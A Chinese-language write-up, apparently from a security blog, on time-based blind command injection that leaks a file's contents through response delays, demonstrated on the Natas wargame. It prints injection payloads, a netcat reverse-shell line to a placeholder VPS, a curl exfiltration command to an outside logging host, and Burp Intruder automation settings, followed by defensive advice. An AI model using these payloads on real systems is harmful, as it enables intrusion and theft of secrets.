基于时延的盲道研究：受限环境下的内容回传信道
字数 1465 2025-08-18 11:37:33
基于时延的命令注入盲注技术研究
1. 背景与挑战
在受限网络环境下进行命令注入漏洞利用时，传统方法面临以下限制：
- 禁止出口流量：无法反弹shell或外带数据
- NAT映射至公网：无法建立正向连接
- 无页面回显：无法直接查看命令执行结果
- Web目录不可写：无法上传webshell
2. 漏洞确认技术
2.1 时延验证法
通过注入sleep命令验证漏洞存在：
$(sleep 4)
验证标准：
- 正常响应时间约0.3s
- 注入后响应时间约4.3s（包含4s延迟）
2.2 传统利用方法（有回显情况）
- 命令分隔法：
; cat /etc/natas_webpass/natas10 #
利用分号分隔命令，井号注释后续内容
- grep特性利用：
$(grep a /etc/natas_webpass/natas10)
利用grep匹配flag中的任意字符输出整行
3. 无回显环境下的盲注技术
3.1 传统方法及其局限性
-
Webshell写入：
- 检查写权限：
touch foo - 查看目录：
ls -la
- 检查写权限：
-
反弹shell：
- 检查网络连通性：
ping VPS_IP - 尝试反弹：
nc VPS_IP PORT -e /bin/sh
- 检查网络连通性：
-
外带数据：
- 通过HTTP请求：
curl http://ceye.io/$(cat secret.txt)
- 通过HTTP请求：
3.2 基于时延的内容回传技术
3.2.1 基本原理
利用sleep命令的延迟时间作为信息载体：
- 数字字符：直接作为sleep参数
- 非数字字符：通过
tr命令转换后作为sleep参数
3.2.2 技术实现步骤
- 确定内容长度：
$(sleep $(cat /path/to/file | wc -c))
响应时间减去基准时间即为文件字符数（含换行符）
- 数字字符识别：
$(sleep $(cat /path/to/file | cut -cPOSITION))
- 若产生延迟，则该位为数字
- 延迟秒数即为数字值
- 非数字字符识别：
$(sleep $(cat /path/to/file | cut -cPOSITION | tr CHAR 2))
- 使用tr命令将特定字符转换为数字
- 字典包含：
[0a-zA-Z+/=] - 若产生延迟，则该位为指定字符
- 编码转换优化：
- 使用base64编码处理特殊字符
$(sleep $(cat /path/to/file | base64 -w0 | cut -cPOSITION | tr CHAR 2))
3.2.3 自动化实现
- 数字识别自动化：
- 使用Burp Intruder：
- 攻击类型：Sniper
- Payload：位置1-32（文件长度）
- 筛选标准：响应时间>1s
- 字符识别自动化：
- 使用Burp Intruder：
- 攻击类型：Cluster bomb
- Payload 1：文件位置（排除已识别数字位）
- Payload 2：字符字典
[0a-zA-Z+/=] - 筛选标准：响应时间≈2s（设定的tr转换值）
4. 技术限制与优化
4.1 技术限制
- 依赖顺序命令执行
- 需要未过滤的命令替换符
$() - 目标系统需为Linux/Unix
- 适合小体积数据回传
4.2 优化方向
-
自动化脚本开发：
- 自动生成攻击payload
- 自动分析响应时间
- 自动组合最终结果
-
编码方案优化：
- 优先使用base32/base16减少字典大小
- 实现二进制数据编码传输
-
异步执行应对：
- 开发基于ping等命令的替代方案
- 研究其他可能的信息载体机制
5. 实战案例
目标：获取/etc/natas_webpass/natas10内容
步骤：
- 确定长度：32字符（33s延迟，含换行符）
- 识别数字位：
- 第5位：1
- 第15位：1
- 第22位：1
- 第27位：7
- 识别字符位：
- 使用字典
[0a-zA-Z+/=] - 例如：第17位为U，第28位为x
- 使用字典
- 组合结果：
nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
6. 防御建议
-
输入过滤：
- 过滤所有命令替换符`$()``
- 过滤分号、管道等特殊字符
-
安全编码：
- 使用参数化查询
- 避免直接拼接用户输入到命令
-
权限控制：
- 最小权限原则
- 限制敏感文件访问
-
日志监控：
- 监控异常长时间进程
- 记录命令执行日志